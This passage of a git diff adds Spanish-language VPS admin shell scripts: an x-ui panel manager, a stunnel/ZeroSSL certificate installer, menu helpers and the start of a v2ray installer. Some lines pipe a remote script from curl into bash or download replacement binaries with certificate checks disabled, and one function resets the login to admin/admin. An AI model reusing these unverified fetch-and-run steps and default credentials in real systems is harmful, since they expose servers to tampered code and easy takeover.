/usr/local/x-ui/x-ui setting -username admin -password admin + echo -e "El nombre de usuario y la contraseña se han restablecido a ${green}admin${plain}, Reinicia el panel ahora" + confirm_restart +} + +reset_config() { + confirm "¿Está seguro de que desea restablecer todas las configuraciones del panel? No se perderán los datos de la cuenta, ni se cambiará el nombre de usuario ni la contraseña" "n" + if [[ $? != 0 ]]; then + if [[ $# == 0 ]]; then + show_menu + fi + return 0 + fi + /usr/local/x-ui/x-ui setting -reset + echo -e "Todos los paneles se han restablecido a los valores predeterminados, ahora reinicie los paneles y utilice los valores predeterminados. ${green}65432${plain}Panel de acceso al puerto" + confirm_restart +} + +set_port() { + echo && echo -n -e "Ingrese el número de puerto [1-65535]: " && read port + if [[ -z "${port}" ]]; then + echo -e "${yellow}Cancelado${plain}" + before_show_menu + else + /usr/local/x-ui/x-ui setting -port ${port} + echo -e "Después de configurar el puerto, reinicie el panel y use el puerto recién configurado${green} ${port} ${plain}Panel de acceso" + confirm_restart + fi +} + +start() { + check_status + if [[ $? == 0 ]]; then + echo "" + echo -e "${green}El panel ya se está ejecutando, no es necesario comenzar de nuevo, si necesita reiniciar, seleccione reiniciar${plain}" + else + systemctl start x-ui + sleep 2 + check_status + if [[ $? == 0 ]]; then + echo -e "${green}x-ui Comenzó exitosamente${plain}" + else + echo -e "${red}El panel no pudo iniciarse. Puede deberse a que tardó más de dos segundos en iniciarse. Verifique la información de registro más tarde.${plain}" + fi + fi + + if [[ $# == 0 ]]; then + before_show_menu + fi +} + +stop() { + check_status + if [[ $? == 1 ]]; then + echo "" + echo -e "${green}面板已停止,无需再次停止${plain}" + else + systemctl stop x-ui + sleep 2 + check_status + if [[ $? == 1 ]]; then + echo -e "${green}x-ui 与 xray 停止成功${plain}" + else + echo -e "${red}面板停止失败,可能是因为停止时间超过了两秒,请稍后查看日志信息${plain}" + fi + fi + + if [[ $# == 0 ]]; then + before_show_menu + fi +} + +restart() { + systemctl restart x-ui + sleep 2 + check_status + if [[ $? == 0 ]]; then + echo -e "${green}x-ui y xray REINCIADO EXITOSAMENTE${plain}" + else + echo -e "${red}El reinicio del panel falló, puede deberse a que el tiempo de inicio supera los dos segundos, verifique la información de registro más tarde${plain}" + fi + if [[ $# == 0 ]]; then + before_show_menu + fi +} + +status() { + systemctl status x-ui -l + if [[ $# == 0 ]]; then + before_show_menu + fi +} + +enable() { + systemctl enable x-ui + if [[ $? == 0 ]]; then + echo -e "${green}x-ui Configure el inicio automático de encendido correctamente${plain}" + else + echo -e "${red}x-ui No se pudo configurar el inicio automático después del encendido${plain}" + fi + + if [[ $# == 0 ]]; then + before_show_menu + fi +} + +disable() { + systemctl disable x-ui + if [[ $? == 0 ]]; then + echo -e "${green}x-ui Cancelar el inicio automático de encendido con éxito${plain}" + else + echo -e "${red}x-ui Cancelar la falla de arranque${plain}" + fi + + if [[ $# == 0 ]]; then + before_show_menu + fi +} + +show_log() { + journalctl -u x-ui.service -e --no-pager -f + if [[ $# == 0 ]]; then + before_show_menu + fi +} + +migrate_v2_ui() { + /usr/local/x-ui/x-ui v2-ui + + before_show_menu +} + +install_bbr() { + # temporary workaround for installing bbr + bash <(curl -L -s https://raw.githubusercontent.com/teddysun/across/master/bbr.sh) + echo "" + before_show_menu +} + +update_shell() { + wget -O /usr/bin/x-ui -N --no-check-certificate https://github.com/vaxilu/x-ui/raw/master/x-ui.sh + if [[ $? != 0 ]]; then + echo "" + echo -e "${red}No se pudo descargar el script, verifique si la máquina se puede conectar a Github${plain}" + before_show_menu + else + chmod +x /usr/bin/x-ui + echo -e "${green}La secuencia de comandos de actualización se realizó correctamente. Vuelva a ejecutar la secuencia de comandos.${plain}" && exit 0 + fi +} + +# 0: running, 1: not running, 2: not installed +check_status() { + if [[ ! -f /etc/systemd/system/x-ui.service ]]; then + return 2 + fi + temp=$(systemctl status x-ui | grep Active | awk '{print $3}' | cut -d "(" -f2 | cut -d ")" -f1) + if [[ x"${temp}" == x"running" ]]; then + return 0 + else + return 1 + fi +} + +check_enabled() { + temp=$(systemctl is-enabled x-ui) + if [[ x"${temp}" == x"enabled" ]]; then + return 0 + else + return 1; + fi +} + +check_uninstall() { + check_status + if [[ $? != 2 ]]; then + echo "" + echo -e "${red}El panel se ha instalado, no repita la instalación${plain}" + if [[ $# == 0 ]]; then + before_show_menu + fi + return 1 + else + return 0 + fi +} + +check_install() { + check_status + if [[ $? == 2 ]]; then + echo "" + echo -e "${red}Primero instale el panel ${plain}" + if [[ $# == 0 ]]; then + before_show_menu + fi + return 1 + else + return 0 + fi +} + +show_status() { + check_status + case $? in + 0) + echo -e "Estado del panel: ${green} EJECUTANDO ${plain}" + show_enable_status + ;; + 1) + echo -e "Estado del panel: ${yellow}NO EJECUTADO ${plain}" + show_enable_status + ;; + 2) + echo -e "Estado del panel: ${red}No Instalao${plain}" + esac + show_xray_status +} + +show_enable_status() { + check_enabled + if [[ $? == 0 ]]; then + echo -e "Ejecucion al Iniciar: ${green}SI${plain}" + else + echo -e "Ejecucion al Iniciar: ${red}NO${plain}" + fi +} + +check_xray_status() { + count=$(ps -ef | grep "xray-linux" | grep -v "grep" | wc -l) + if [[ count -ne 0 ]]; then + return 0 + else + return 1 + fi +} + +show_xray_status() { + check_xray_status + if [[ $? == 0 ]]; then + echo -e "xray ESTADO: ${green}EJECUTANDO{plain}" + else + echo -e "xray ESTADO: ${red}NO EJECUTADO${plain}" + fi +} + +show_usage() { + echo "x-ui Cómo usar scripts de administración (Traduccion @drowkid01)" + echo "------------------------------------------" + echo "x-ui - Menú de gestión de pantalla (más funciones)" + echo "x-ui - Menú de gestión de pantalla (más funciones)" + echo "x-ui start - Inicie el panel x-ui" + echo "x-ui stop - Detener el panel x-ui" + echo "x-ui restart - Reinicie el panel x-ui" + echo "x-ui status - Ver el estado de x-ui" + echo "x-ui enable - AutoEjecutar al Arranque" + echo "x-ui disable - Desactivar AutoEjecutar al Arranque " + echo "x-ui log - Ver registro x-ui" + echo "x-ui update - Actualizar el panel x-ui" + echo "x-ui install - Instalar el panel x-ui" + echo "x-ui uninstall - Desinstalar el panel x-ui" + echo "------------------------------------------" +} + +show_menu() { + echo -e " + ${green}x-ui Script de gestión del panel${plain} + ${green}0.${plain} Salir +———————————————— + ${green}1.${plain}Instalar x-ui + ${green}2.${plain}Actualizar x-ui + ${green}3.${plain}Desinstalar x-ui +———————————————— + ${green}4.${plain}Restablecer nombre de usuario y contraseña + ${green}5.${plain}Restablecer la configuración del panel + ${green}6.${plain}Establecer el puerto del panel +———————————————— + ${green}7.${plain}Iniciar x-ui + ${green}8.${plain}Detener x-ui + ${green}9.${plain}Reiniciar x-ui + ${green}10.${plain}Ver el estado de x-ui + ${green}11.${plain}Ver registro x-ui +———————————————— + ${green}12.${plain} Encender AutoEjecucion + ${green}13.${plain} Cancelar AutoEjecucion +———————————————— + ${green}14.${plain} Instalación de bbr (el último kernel) + " + show_status + #echo && read -p "请输入选择 [0-14]: " num + echo -ne "\e[1;33mSeleccione su opción: [0-14] "&&read num + + case "${num}" in + 0) exit 0 + ;; + 1) check_uninstall && install + ;; + 2) check_install && update + ;; + 3) check_install && uninstall + ;; + 4) check_install && reset_user + ;; + 5) check_install && reset_config + ;; + 6) check_install && set_port + ;; + 7) check_install && start + ;; + 8) check_install && stop + ;; + 9) check_install && restart + ;; + 10) check_install && status + ;; + 11) check_install && show_log + ;; + 12) check_install && enable + ;; + 13) check_install && disable + ;; + 14) install_bbr + ;; + *) echo -e "\e[1;30m[\e[1;31m!\e[1;30m] elige una opción entre [0-14] únicamente \e[1;30m[\e[1;31m!\e[1;30m]${plain}" + ;; + esac +} + + +if [[ $# > 0 ]]; then + case $1 in + "start") check_install 0 && start 0 + ;; + "stop") check_install 0 && stop 0 + ;; + "restart") check_install 0 && restart 0 + ;; + "status") check_install 0 && status 0 + ;; + "enable") check_install 0 && enable 0 + ;; + "disable") check_install 0 && disable 0 + ;; + "log") check_install 0 && show_log 0 + ;; + "v2-ui") check_install 0 && migrate_v2_ui 0 + ;; + "update") check_install 0 && update 0 + ;; + "install") check_uninstall 0 && install 0 + ;; + "uninstall") check_install 0 && uninstall 0 + ;; + *) show_usage + esac +else + show_menu +fi diff --git a/Recursos/menu_inst/zerossl.sh b/Recursos/menu_inst/zerossl.sh new file mode 100644 index 0000000..e9e0320 --- /dev/null +++ b/Recursos/menu_inst/zerossl.sh @@ -0,0 +1,387 @@ +#!/bin/bash +# +source msg +clear +clear +SCPdir="/etc/adm-lite" +SCPfrm="${SCPdir}" && [[ ! -d ${SCPfrm} ]] && exit +SCPinst="${SCPdir}"&& [[ ! -d ${SCPinst} ]] && exit +declare -A cor=( +[0]="\033[1;37m" +[1]="\033[1;34m" +[2]="\033[1;31m" +[3]="\033[1;33m" +[4]="\033[1;32m" +[5]="\e[1;36m" ) + +mportas () { +unset portas +portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN") +while read port; do +var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}') +[[ "$(echo -e $portas|grep "$var1 $var2")" ]] || portas+="$var1 $var2\n" +done <<< "$portas_var" +i=1 +echo -e "$portas" +} + +fun_bar () { +comando="$1" _=$( $comando > /dev/null 2>&1 ) & > /dev/null +pid=$! +while [[ -d /proc/$pid ]]; do +echo -ne " \033[1;33m[" +for((i=0; i<20; i++)); do +echo -ne "\033[1;31m##" +sleep 0.5 +done +echo -ne "\033[1;33m]" +sleep 1s +echo tput cuu1 tput dl1 +done +echo -e " \033[1;33m[\033[1;31m########################################\033[1;33m] - \033[1;32m100%\033[0m" +sleep 1s +} +ssl_stunel () { +[[ $(mportas|grep stunnel4|head -1) ]] && { +echo -e "\033[1;33m Deteniendo Stunnel" +msg -bar +service stunnel4 stop > /dev/null 2>&1 +rm -rf /etc/stunnel/stunnel.conf +apt-get purge stunnel4 -y &>/dev/null && echo -e "\e[31m DETENIENDO SERVICIO SSL" | pv -qL 10 +apt-get purge stunnel4 &>/dev/null +apt-get remove stunnel4 &>/dev/null +msg -bar +echo -e "\033[1;33m Detenido Con Exito!" +msg -bar +return 0 +} +clear +msg -bar +echo -e "\033[1;33m Seleccione una puerta de redirección interna." +echo -e "\033[1;33m Un puerto SSH/DROPBEAR/SQUID/OPENVPN/PYTHON" +msg -bar + while true; do + echo -ne "\033[1;37m" + echo " Ingresa el Puerto Local de tu VPS (Default 22) " + read -p " Local-Port: " -e -i $pt portserv + if [[ ! -z $portserv ]]; then + if lsof -Pi :$portserv -sTCP:LISTEN -t >/dev/null ; then + break + else + portserv="$pt" + break + fi + fi + done +msg -bar +DPORT="$(mportas|grep $portserv|awk '{print $2}'|head -1)" +echo -e "\033[1;33m Ahora Que Puerto sera SSL" +msg -bar +while true; do + echo -e " Ingresa el Puerto SSl/TLS " + read -p " Listen-SSL: " SSLPORT + tput cuu1 >&2 && tput dl1 >&2 + PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $SSLPORT` + [[ -n "$PortSSL" ]] || break + prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$SSLPORT"{print $9}'` + echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup" + echo -e "$barra" + return + done +msg -bar +echo -e "\033[1;33m Instalando SSL" +msg -bar +fun_bar "apt-get install stunnel4 -y" +apt-get install stunnel4 -y > /dev/null 2>&1 +echo -e "client = no\n[SSL]\ncert = /etc/stunnel/stunnel.pem\naccept = ${SSLPORT}\nconnect = 127.0.0.1:${DPORT}" > /etc/stunnel/stunnel.conf +####Coreccion2.0##### +openssl genrsa -out stunnel.key 2048 > /dev/null 2>&1 +(echo "$(curl -sSL ipinfo.io > info && cat info | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')" ; echo "" ; echo "$(wget -qO- ifconfig.me):81" ; echo "" ; echo "" ; echo "" ; echo "@drowkid01")|openssl req -new -key stunnel.key -x509 -days 1000 -out stunnel.crt > /dev/null 2>&1 +cat stunnel.crt stunnel.key > stunnel.pem +mv stunnel.pem /etc/stunnel/ +######------- +sed -i 's/ENABLED=0/ENABLED=1/g' /etc/default/stunnel4 +service stunnel4 restart > /dev/null 2>&1 +msg -bar +echo -e "\033[1;33m INSTALADO CON EXITO" +msg -bar +rm -rf /etc/adm-lite/stunnel.crt > /dev/null 2>&1 +rm -rf /etc/adm-lite/stunnel.key > /dev/null 2>&1 +rm -rf /root/stunnel.crt > /dev/null 2>&1 +rm -rf /root/stunnel.key > /dev/null 2>&1 +return 0 +} + +ssl_stunel_2 () { +echo -e "\033[1;32m AGREGAR MAS PUERTOS SSL" +msg -bar +echo -e "\033[1;33m Seleccione una puerta de redirección interna." +echo -e "\033[1;33m Un puerto SSH/DROPBEAR/SQUID/OPENVPN/PYTHON" +msg -bar + while true; do + echo -ne "\033[1;37m" + echo " Ingresa el Puerto Local de tu VPS (Default 22) " + read -p " Local-Port: " -e -i $pt portserv + if [[ ! -z $portserv ]]; then + if lsof -Pi :$portserv -sTCP:LISTEN -t >/dev/null ; then + break + else + portserv="$pt" + break + fi + fi + done +msg -bar +DPORT="$(mportas|grep $portserv|awk '{print $2}'|head -1)" +echo -e "\033[1;33m Ahora Que Puerto sera SSL" +msg -bar +while true; do + echo -e " Ingresa el Puerto SSl/TLS " + read -p " Listen-SSL: " SSLPORT + tput cuu1 >&2 && tput dl1 >&2 + PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $SSLPORT` + [[ -n "$PortSSL" ]] || break + prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$SSLPORT"{print $9}'` + echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup" + echo -e "$barra" + return + done +msg -bar +echo -e "\033[1;33m Instalando SSL" +msg -bar +fun_bar "apt-get install stunnel4 -y" +echo -e "client = no\n[SSL+]\ncert = /etc/stunnel/stunnel.pem\naccept = ${SSLPORT}\nconnect = 127.0.0.1:${DPORT}" >> /etc/stunnel/stunnel.conf +######------- +sed -i 's/ENABLED=0/ENABLED=1/g' /etc/default/stunnel4 +service stunnel4 restart > /dev/null 2>&1 +msg -bar +echo -e "${cor[4]} INSTALADO CON EXITO" +msg -bar +rm -rf /etc/adm-lite/stunnel.crt > /dev/null 2>&1 +rm -rf /etc/adm-lite/stunnel.key > /dev/null 2>&1 +rm -rf /root/stunnel.crt > /dev/null 2>&1 +rm -rf /root/stunnel.key > /dev/null 2>&1 +return 0 +} +sslpython(){ +msg -bar +echo -e "\033[1;37mSe Requiere tener el puerto 80 y el 443 libres" +sleep 2 +install_python(){ +apt-get install python -y &>/dev/null && echo -e "\033[1;97m Activando Python Direc 80\n" | pv -qL 10 +sleep 3 +screen -dmS pydic-80 python ${SCPinst}/python.py 80 "@drowkid01" && echo "80 @drowkid01" >> /etc/adm-lite/PySSL.log +msg -bar + } + +install_ssl(){ +apt-get install stunnel4 -y &>/dev/null && echo -e "\033[1;97m Activando Servicios SSL 443\n" | pv -qL 12 +apt-get install stunnel4 -y > /dev/null 2>&1 +echo -e "client = no\n[SSL]\ncert = /etc/stunnel/stunnel.pem\naccept = 443\nconnect = 127.0.0.1:80" > /etc/stunnel/stunnel.conf +openssl genrsa -out stunnel.key 2048 > /dev/null 2>&1 +(echo "$(curl -sSL ipinfo.io > info && cat info | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')" ; echo "" ; echo "$(wget -qO- ifconfig.me):81" ; echo "" ; echo "" ; echo "" ; echo "@drowkid01")|openssl req -new -key stunnel.key -x509 -days 1000 -out stunnel.crt > /dev/null 2>&1 +cat stunnel.crt stunnel.key > stunnel.pem +mv stunnel.pem /etc/stunnel/ +######------- +sed -i 's/ENABLED=0/ENABLED=1/g' /etc/default/stunnel4 +service stunnel4 restart > /dev/null 2>&1 +rm -rf /root/stunnel.crt > /dev/null 2>&1 +rm -rf /root/stunnel.key > /dev/null 2>&1 +} + +install_python +install_ssl +msg -bar +echo -e "${cor[4]} INSTALACION COMPLETA" +msg -bar + +} + +unistall(){ +clear +msg -bar +msg -ama "DETENIENDO SERVICIOS SSL Y PYTHON" +msg -bar +service stunnel4 stop > /dev/null 2>&1 +apt-get purge stunnel4 -y &>/dev/null +apt-get purge stunnel -y &>/dev/null +kill -9 $(ps aux |grep -v grep |grep -w "python.py"|grep dmS|awk '{print $2}') &>/dev/null +rm /etc/adm-lite/PySSL.log &>/dev/null +clear +msg -bar +msg -verd "LOS SERVICIOS SE HAN DETENIDO" +msg -bar +} +# +certif(){ +msg -bar +msg -tit +echo -e "\e[1;37m ACONTINUACION ES TENER LISTO EL LINK DEL CERTIFICADO.zip\n VERIFICADO EN ZEROSSL, DESCARGALO Y SUBELO\n EN TU GITHUB O DROPBOX" +echo -ne " Desea Continuar? [S/N]: "; read seg +[[ $seg = @(n|N) ]] && msg -bar && return +clear +####Cerrificado ssl/tls##### +msg -bar +echo -e "\e[1;33m👇 LINK DEL CERTIFICADO.zip 👇 \n \e[0m" +echo -e "\e[1;36m LINK \e[37m: \e[34m\c " +#extraer certificado.zip +read linkd +wget -O /etc/stunnel/certificado.zip $linkd &>/dev/null +cd /etc/stunnel/ +unzip certificado.zip &>/dev/null +cat private.key certificate.crt ca_bundle.crt > stunnel.pem +rm -rf certificado.zip +sed -i 's/ENABLED=0/ENABLED=1/g' /etc/default/stunnel4 +service stunnel restart > /dev/null 2>&1 +service stunnel4 restart &>/dev/null +msg -bar +echo -e "${cor[4]} CERTIFICADO INSTALADO CON EXITO \e[0m" +msg -bar +} + +certificadom(){ +if [ -f /etc/stunnel/stunnel.conf ]; then +insapa2(){ +for pid in $(pgrep python);do +kill $pid +done +for pid in $(pgrep apache2);do +kill $pid +done +service dropbear stop +echo -ne " \033[1;31m[ ! ] CONFIGURANDO APACHE" # Generate CA Config +apt install apache2 -y +echo "Listen 80 + Listen 443 + + Listen 443 + " > /etc/apache2/ports.conf + service apache2 restart +#) && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" + } +clear +msg -bar +insapa2 &>/dev/null && echo -e " \e[1;33mAGREGANDO RECURSOS " | pv -qL 10 +msg -bar +echo -e "\e[1;37m Verificar dominio \e[0m" +msg -bar +read -p " LLAVE: " keyy +msg -bar +read -p " DATOS: " dat2w +mkdir -p /var/www/html/.well-known/pki-validation/ +datfr1=$(echo "$dat2w"|awk '{print $1}') +datfr2=$(echo "$dat2w"|awk '{print $2}') +datfr3=$(echo "$dat2w"|awk '{print $3}') +echo -ne "${datfr1}\n${datfr2}\n${datfr3}" >/var/www/html/.well-known/pki-validation/$keyy.txt +msg -bar +echo -e "\e[1;37m VERIFIQUE EN LA PÁGINA ZEROSSL \e[0m" +msg -bar +read -p " ENTER PARA CONTINUAR" +clear +msg -bar +echo -e "\e[1;33m👇 LINK DEL CERTIFICADO 👇 \n \e[0m" +echo -e "\e[1;36m LINK \e[37m: \e[34m\c" +read link + +incertis(){ + +wget $link -O /etc/stunnel/certificado.zip +cd /etc/stunnel/ +unzip certificado.zip +cat private.key certificate.crt ca_bundle.crt > stunnel.pem +service stunnel restart &>/dev/null +service stunnel4 restart &>/dev/null +} + +incertis &>/dev/null && echo -e " \e[1;33mEXTRAYENDO CERTIFICADO " | pv -qL 10 +msg -bar +echo -e "${cor[4]} CERTIFICADO INSTALADO \e[0m" +msg -bar +for pid in $(pgrep apache2);do +kill $pid +done +echo -ne " \033[1;31m[ ! ] RECONFIGURANDO APACHE" # Generate CA Config +apt install apache2 -y &>/dev/null +echo "Listen 81 + Listen 443 + + Listen 443 +" > /etc/apache2/ports.conf +service apache2 restart &>/dev/null +#) && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +service dropbear start &>/dev/null +service dropbear restart &>/dev/null +for port in $(cat /etc/adm-lite/PortPD.log| grep -v "nobody" |cut -d' ' -f1); do +PIDVRF3="$(ps aux|grep pydic-"$port" |grep -v grep|awk '{print $2}')" +if [[ -z $PIDVRF3 ]]; then +screen -dmS pydic-"$port" python /etc/adm-lite/PDirect.py "$port" +else +for pid in $(echo $PIDVRF3); do +echo "" +done +fi +done +else +msg -bar +echo -e "${cor[3]} SSL/TLS NO INSTALADO \e[0m" +msg -bar + fi + } + clear +if netstat -tnlp |grep 'stunnel4' &>/dev/null; then +stunel="\e[32m[ ON ]" +else +stunel="\e[31m[ OFF ]" +fi +[[ -e /root/name ]] && figlet -p -f smslant < /root/name | lolcat || echo -e "\033[7;49;35m =====>>►► 🐲 New ChumoGH💥VPS 🐲 ◄◄<<===== \033[0m" +msg -bar +msg -bar3 +msg -tit +echo -e "${cor[3]} INSTALADOR MULTI SSL By @drowkid01" +msg -bar +echo -e "${cor[1]} Escoja la opcion deseada." +msg -bar +echo -e " \033[0;35m [\033[0;36m1\033[0;35m]\033[0;31m ➮ $(msg -azu "INICIAR || DETENER SSL") $stunel" +echo -e " \033[0;35m [\033[0;36m2\033[0;35m]\033[0;31m ➮ $(msg -azu "AGREGAR + PUERTOS SSL")" +echo -e " \033[0;35m [\033[0;36m3\033[0;35m]\033[0;31m ➮ $(msg -azu "SSL+WEBSOCKET DIRECTO")" +echo -e " \033[0;35m [\033[0;36m4\033[0;35m]\033[0;31m ➮ $(msg -azu "\e[1;31mDETENER SERVICIO SSL+WEBSOCKET")" +msg -bar +echo -e " \033[0;35m [\033[0;36m5\033[0;35m]\033[0;31m ➮ $(msg -azu "CERTIFICADO SSL/TLS")" +msg -bar +echo -e " \033[0;35m [\033[0;36m0\033[0;35m]\033[0;31m ➮ $(msg -bra "\033[1;41m[ REGRESAR ]\e[0m")" +msg -bar +echo -e "\033[1;37mSelecione Una Opcion [0/5]: " +msg -bar +selection=$(selection_fun 5) +case ${selection} in +1) msg -bar +ssl_stunel ;; +2) msg -bar +ssl_stunel_2 +sleep 3 +exit ;; +3) sslpython +exit ;; +4) unistall ;; +5) clear +msg -bar +msg -ama "?CERTIFICADO SSL/TLS" +msg -bar +echo -e "${cor[4]} 1).-\033[1;37m CERTIFICADO ZIP DIRECTO" +echo -e "${cor[4]} 2).-\033[1;37m CERTIFICADO MANUAL ZEROSSL " +msg -bar +echo -ne "\033[1;37mSelecione Una Opcion [0/2]: " +msg -bar + selection=$(selection_fun 2) + case ${selection} in + 0) return 0 + ;; + 1) certif + exit + ;; + 2) certificadom + exit + ;; + esac +;; +esac diff --git a/Recursos/module b/Recursos/module new file mode 100644 index 0000000..2ce04c6 --- /dev/null +++ b/Recursos/module @@ -0,0 +1,179 @@ +#!/bin/bash + +# interfas de colores +msg(){ + COLOR[0]='\033[1;37m' #BRAN='\033[1;37m' + COLOR[1]='\e[31m' #VERMELHO='\e[31m' + COLOR[2]='\e[32m' #VERDE='\e[32m' + COLOR[3]='\e[33m' #AMARELO='\e[33m' + COLOR[4]='\e[34m' #AZUL='\e[34m' + COLOR[5]='\e[91m' #MAGENTA='\e[35m' + COLOR[6]='\033[1;97m' #MAG='\033[1;36m' + COLOR[7]='\e[36m' #teal='\e[36m' + COLOR[8]='\e[30m' #negro='\e[30m' + COLOR[9]='\033[34m' #blue='\033[1;34m' + + NEGRITO='\e[1m' + SEMCOR='\e[0m' + + case $1 in + -ne) cor="${COLOR[1]}${NEGRITO}" && echo -ne "${cor}${2}${SEMCOR}";; + -nazu) cor="${COLOR[6]}${NEGRITO}" && echo -ne "${cor}${2}${SEMCOR}";; + -nverd) cor="${COLOR[2]}${NEGRITO}" && echo -ne "${cor}${2}${SEMCOR}";; + -nama) cor="${COLOR[3]}${NEGRITO}" && echo -ne "${cor}${2}${SEMCOR}";; + -ama) cor="${COLOR[3]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -verm) cor="${COLOR[3]}${NEGRITO}[!] ${COLOR[1]}" && echo -e "${cor}${2}${SEMCOR}";; + -verm2) cor="${COLOR[1]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -verm3) cor="${COLOR[1]}" && echo -e "${cor}${2}${SEMCOR}";; + -teal) cor="${COLOR[7]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -teal2) cor="${COLOR[7]}" && echo -e "${cor}${2}${SEMCOR}";; + -blak) cor="${COLOR[8]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -blak2) cor="${COLOR[8]}" && echo -e "${cor}${2}${SEMCOR}";; + -azu) cor="${COLOR[6]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -blu) cor="${COLOR[9]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -blu1) cor="${COLOR[9]}" && echo -e "${cor}${2}${SEMCOR}";; + -verd) cor="${COLOR[2]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -bra) cor="${COLOR[0]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -bar) cor="${COLOR[1]}=====================================================" && echo -e "${SEMCOR}${cor}${SEMCOR}";; + -bar2) cor="${COLOR[7]}=====================================================" && echo -e "${SEMCOR}${cor}${SEMCOR}";; + -bar3) cor="${COLOR[1]}-----------------------------------------------------" && echo -e "${SEMCOR}${cor}${SEMCOR}";; + -bar4) cor="${COLOR[7]}-----------------------------------------------------" && echo -e "${SEMCOR}${cor}${SEMCOR}";; + esac +} + +# centrado de texto +print_center(){ + if [[ -z $2 ]]; then + text="$1" + else + col="$1" + text="$2" + fi + + while read line; do + unset space + x=$(( ( 54 - ${#line}) / 2)) + for (( i = 0; i < $x; i++ )); do + space+=' ' + done + space+="$line" + if [[ -z $2 ]]; then + msg -azu "$space" + else + msg "$col" "$space" + fi + done <<< $(echo -e "$text") +} +#print_center2(){ +# local x +# local y +# #text="$*" +# text="$2" +# #x=$(( ($(tput cols) - ${#text}) / 2)) +# x=$(( ( 54 - ${#text}) / 2)) +# echo -ne "\E[6n";read -sdR y; y=$(echo -ne "${y#*[}" | cut -d';' -f1) +# #echo -e "\033[${y};${x}f$*" +# msg "$1" "\033[${y};${x}f$2" +#} + +# titulos y encabesados +title(){ + clear + msg -bar + if [[ -z $2 ]]; then + print_center -azu "$1" + else + print_center "$1" "$2" + fi + msg -bar + } + +# finalizacion de tareas + enter(){ + msg -bar + text="►► Presione enter para continuar ◄◄" + if [[ -z $1 ]]; then + print_center -ama "$text" + else + print_center "$1" "$text" + fi + read + } + +# opcion, regresar volver/atras +back(){ + msg -bar + echo -ne "$(msg -verd " [0]") $(msg -verm2 ">") " && msg -bra "\033[1;41mVOLVER" + msg -bar + } + +# menu maker (opciones 1, 2, 3,.....) +menu_func(){ + local options=${#@} + local array + for((num=1; num<=$options; num++)); do + echo -ne "$(msg -verd " [$num]") $(msg -verm2 ">") " + array=(${!num}) + case ${array[0]} in + "-vd") echo -e "\033[1;33m[!]\033[1;32m ${array[@]:1}";; + "-vm") echo -e "\033[1;33m[!]\033[1;31m ${array[@]:1}";; + "-fi") echo -e "${array[@]:2} ${array[1]}";; + -bar|-bar2|-bar3|-bar4) echo -e "\033[1;37m${array[@]:1}\n$(msg ${array[0]})";; + *) echo -e "\033[1;37m${array[@]}";; + esac + done + } + +# opcion de seleccion numerica +selection_fun(){ + local selection="null" + local range + if [[ -z $2 ]]; then + opcion=$1 + col="-nazu" + else + opcion=$2 + col=$1 + fi + for((i=0; i<=$opcion; i++)); do range[$i]="$i "; done + while [[ ! $(echo ${range[*]}|grep -w "$selection") ]]; do + msg "$col" " Selecione una Opcion: " >&2 + read selection + tput cuu1 >&2 && tput dl1 >&2 + done + echo $selection +} + +in_opcion(){ + unset opcion + if [[ -z $2 ]]; then + msg -nazu " $1: " >&2 + else + msg $1 " $2: " >&2 + fi + read opcion + echo "$opcion" +} + +in_opcion_down(){ + dat=$1 + length=${#dat} + cal=$(( 22 - $length / 2 )) + line='' + for (( i = 0; i < $cal; i++ )); do + line+='╼' + done + echo -e " $(msg -verm3 "╭$line╼[")$(msg -azu "$dat")$(msg -verm3 "]")" + echo -ne " $(msg -verm3 "╰╼")\033[37;1m> " && read opcion +} + +export -f msg +export -f selection_fun +export -f menu_func +export -f print_center +export -f title +export -f back +export -f enter +export -f in_opcion +export -f in_opcion_down + diff --git a/Recursos/readme.md b/Recursos/readme.md new file mode 100644 index 0000000..40ba48d --- /dev/null +++ b/Recursos/readme.md @@ -0,0 +1 @@ +# recursos diff --git a/Recursos/rf/go.sh b/Recursos/rf/go.sh new file mode 100644 index 0000000..5edd267 --- /dev/null +++ b/Recursos/rf/go.sh @@ -0,0 +1,531 @@ +#!/bin/bash + +# This file is accessible as https://multi.netlify.app/go.sh + +# If not specify, default meaning of return value: +# 0: Success +# 1: System error +# 2: Application error +# 3: Network error + +# CLI arguments +PROXY='' +HELP='' +FORCE='' +CHECK='' +REMOVE='' +VERSION='' +VSRC_ROOT='/tmp/v2ray' +EXTRACT_ONLY='' +LOCAL='' +LOCAL_INSTALL='' +ERROR_IF_UPTODATE='' + +CUR_VER="" +NEW_VER="" +ZIPFILE="/tmp/v2ray/v2ray.zip" +V2RAY_RUNNING=0 + +CMD_INSTALL="" +CMD_UPDATE="" +SOFTWARE_UPDATED=0 +KEY="V2Ray" +KEY_LOWER="v2ray" +REPOS="v2fly/v2ray-core" + +SYSTEMCTL_CMD=$(command -v systemctl 2>/dev/null) + +#######color code######## +RED="31m" # Error message +GREEN="32m" # Success message +YELLOW="33m" # Warning message +BLUE="36m" # Info message + +xray_set(){ + KEY="Xray" + KEY_LOWER="xray" + REPOS="XTLS/Xray-core" + VSRC_ROOT='/tmp/xray' + ZIPFILE="/tmp/xray/xray.zip" +} + +######################### +while [[ $# > 0 ]]; do + case "$1" in + -p|--proxy) + PROXY="-x ${2}" + shift # past argument + ;; + 